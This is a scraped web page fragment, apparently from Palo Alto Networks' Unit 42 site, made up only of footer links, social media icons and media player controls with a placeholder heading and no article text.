  ![Palo Alto Networks Logo](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/pan-logo-dark.svg)

* [Privacy](https://www.paloaltonetworks.com/legal-notices/privacy)

* [Trust Center](https://www.paloaltonetworks.com/legal-notices/trust-center)

* [Terms of Use](https://www.paloaltonetworks.com/legal-notices/terms-of-use)

* [Documents](https://www.paloaltonetworks.com/legal)

Copyright © 2026 Palo Alto Networks. All Rights Reserved

* [![Youtube](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/youtube-black.svg)](https://www.youtube.com/user/paloaltonetworks)
* [![Podcast](https://www.paloaltonetworks.com/content/dam/pan/en_US/images/icons/podcast.svg)](https://www.paloaltonetworks.com/podcasts/threat-vector)
* [![Facebook](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/facebook-black.svg)](https://www.facebook.com/PaloAltoNetworks/)
* [![LinkedIn](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/linkedin-black.svg)](https://www.linkedin.com/company/palo-alto-networks)
* [![Twitter](https://www.paloaltonetworks.com/etc/clientlibs/clean/imgs/social/twitter-x-black.svg)](https://twitter.com/PaloAltoNtwks)
* EN  
  Select your language  
  ![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg) ![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg) ![Close button](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/close-modal.svg)

### Default Heading

Read the article ![Right Arrow](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/right-arrow.svg)  
Seekbar

![Play](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-play-icon.svg) ![Pause](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/player-pause-icon1.svg)  
![Volume](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-volume.svg)  
Volume
![Minimize](https://unit42.paloaltonetworks.com/wp-content/themes/unit42-v6/dist/images/icons/icon-minimize.svg)